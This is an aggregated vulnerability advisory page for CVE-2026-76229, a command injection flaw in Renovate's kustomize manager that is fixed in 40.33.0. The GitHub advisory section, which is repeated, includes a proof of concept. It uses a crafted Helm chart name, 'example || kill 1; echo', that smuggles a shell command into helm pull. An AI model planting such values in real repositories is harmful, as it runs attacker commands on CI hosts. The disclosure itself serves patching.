Every CVE Search/ Get API key

CVE-2026-76229

Renovate 39.218.0 before 40.33.0 Arbitrary Command Injection via kustomize

8.4 HighFix available

Renovate versions from 39.218.0 before 40.33.0 contain an arbitrary command injection vulnerability in the kustomize manager where user-provided chart names are appended to helm pull commands without proper sanitization. Attackers with repository write access can craft malicious kustomization.yaml files with specially crafted chart names to execute arbitrary commands on the Renovate host machine.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
High
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

1.00%Up 0.3 points since Aug 20, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.4

Renovate 39.218.0 before 40.33.0 Arbitrary Command Injection via kustomize

Renovate versions from 39.218.0 before 40.33.0 contain an arbitrary command injection vulnerability in the kustomize manager where user-provided chart names are appended to helm pull commands without proper sanitization. Attackers with repository write access can craft malicious kustomization.yaml files with specially crafted chart names to execute arbitrary commands on the Renovate host machine.

Record
CVE-2026-76229
CVSS 4.0
8.4 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
6.7 MediumCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-77
Updated
2026-11-02
EUVDEUVD-2026-62470 8.4

Renovate versions from 39.218.0 before 40.33.0 contain an arbitrary command injection vulnerability in the kustomize manager where user-provided chart names are appended to helm pull commands without proper sanitization. Attackers with repository write access can craft malicious kustomization.yaml files with specially crafted chart names to execute arbitrary commands on the Renovate host machine.

Record
EUVD-2026-62470
CVSS 4.0
8.4 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-5gfg-jpw3-fppq 8.4

Renovate versions from 39.218.0 before 40.33.0 contain an arbitrary command injection...

Renovate versions from 39.218.0 before 40.33.0 contain an arbitrary command injection vulnerability in the kustomize manager where user-provided chart names are appended to helm pull commands without proper sanitization. Attackers with repository write access can craft malicious kustomization.yaml files with specially crafted chart names to execute arbitrary commands on the Renovate host machine.

Record
GHSA-5gfg-jpw3-fppq
CVSS 4.0
8.4 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.7 MediumCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-77
Updated
2026-11-02
GitHub AdvisoriesGHSA-xv56-3wq5-9997 6.7

Renovate vulnerable to arbitrary command injection via kustomize manager and malicious helm repository

Summary

The user-provided chart name in the kustomize manager is appended to the helm pull --untar command without proper sanitization.

Details

Adversaries can provide a maliciously crafted kustomization.yaml in conjunction with a Helm repo's index.yaml file to trick Renovate to execute arbitrary code. The value for the depName argument for the helmRepositoryArgs function in lib/modules/manager/kustomize/artifacts.ts is not being escaped using the quote function from the shlex package. This lack of proper sanitization has been present in the product since version 39.218.9 (https://github.com/renovatebot/renovate/commit/cc08c6e98f19e6258c5d3180c70c98e1be0b0d37), released on March 26 of 2025.

PoC

  1. Create a mock Helm repository. Have its index.yaml endpoint return:
apiVersion: v1
entries:
  "example || kill 1; echo":
    - version: 1.0.1
      created: 2016-10-06T16:23:20.499814565-06:00
    - version: 1.0.0
      created: 2016-10-06T16:23:20.499543808-06:00
  1. Create a git repo with the following content:

renovate.json5:

{
  $schema: "https://docs.renovatebot.com/renovate-schema.json",
  postUpdateOptions: [
    "kustomizeInflateHelmCharts",
  ]
}

kustomization.yaml:

kind: Kustomization
apiVersion: kustomize.config.k8s.io/v1beta1
helmCharts:
  - name: "example || kill 1; echo"
    repo: TODO reference the mocked Helm repository over https
    version: 1.0.0

with the todo resolved

charts/.gitkeep:

(empty)

  1. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of kill 1, terminating the root process of the container.

Impact

This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.

Record
GHSA-xv56-3wq5-9997
CVSS 3.1
6.7 MediumCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-77
Updated
2026-11-02
NVD 8.4

Renovate versions from 39.218.0 before 40.33.0 contain an arbitrary command injection vulnerability in the kustomize manager where user-provided chart names are appended to helm pull commands without proper sanitization. Attackers with repository write access can craft malicious kustomization.yaml files with specially crafted chart names to execute arbitrary commands on the Renovate host machine.

Record
CVE-2026-76229
CVSS 4.0
8.4 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.7 MediumCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-77
Updated
2026-11-02
OSV 8.4

Renovate 39.218.0 before 40.33.0 Arbitrary Command Injection via kustomize

Renovate versions from 39.218.0 before 40.33.0 contain an arbitrary command injection vulnerability in the kustomize manager where user-provided chart names are appended to helm pull commands without proper sanitization. Attackers with repository write access can craft malicious kustomization.yaml files with specially crafted chart names to execute arbitrary commands on the Renovate host machine.

Record
CVE-2026-76229
CVSS 4.0
8.4 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-77
Updated
2026-11-02
OSVGHSA-xv56-3wq5-9997 6.7

Renovate vulnerable to arbitrary command injection via kustomize manager and malicious helm repository

Summary

The user-provided chart name in the kustomize manager is appended to the helm pull --untar command without proper sanitization.

Details

Adversaries can provide a maliciously crafted kustomization.yaml in conjunction with a Helm repo's index.yaml file to trick Renovate to execute arbitrary code. The value for the depName argument for the helmRepositoryArgs function in lib/modules/manager/kustomize/artifacts.ts is not being escaped using the quote function from the shlex package. This lack of proper sanitization has been present in the product since version 39.218.9 (https://github.com/renovatebot/renovate/commit/cc08c6e98f19e6258c5d3180c70c98e1be0b0d37), released on March 26 of 2025.

PoC

  1. Create a mock Helm repository. Have its index.yaml endpoint return:
apiVersion: v1
entries:
  "example || kill 1; echo":
    - version: 1.0.1
      created: 2016-10-06T16:23:20.499814565-06:00
    - version: 1.0.0
      created: 2016-10-06T16:23:20.499543808-06:00
  1. Create a git repo with the following content:

renovate.json5:

{
  $schema: "https://docs.renovatebot.com/renovate-schema.json",
  postUpdateOptions: [
    "kustomizeInflateHelmCharts",
  ]
}

kustomization.yaml:

kind: Kustomization
apiVersion: kustomize.config.k8s.io/v1beta1
helmCharts:
  - name: "example || kill 1; echo"
    repo: TODO reference the mocked Helm repository over https
    version: 1.0.0

with the todo resolved

charts/.gitkeep:

(empty)

  1. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of kill 1, terminating the root process of the container.

Impact

This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.

Record
GHSA-xv56-3wq5-9997
CVSS 3.1
6.7 MediumCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-77
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
renovate
npm
39.218.0 up to 40.33.0
40.33.0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-76229 is a high vulnerability (CVSS 8.4) in Renovatebot Renovate, published January 13, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.00%, the 63rd percentile. Fixed in renovate 40.33.0.

References

MoveEnter Open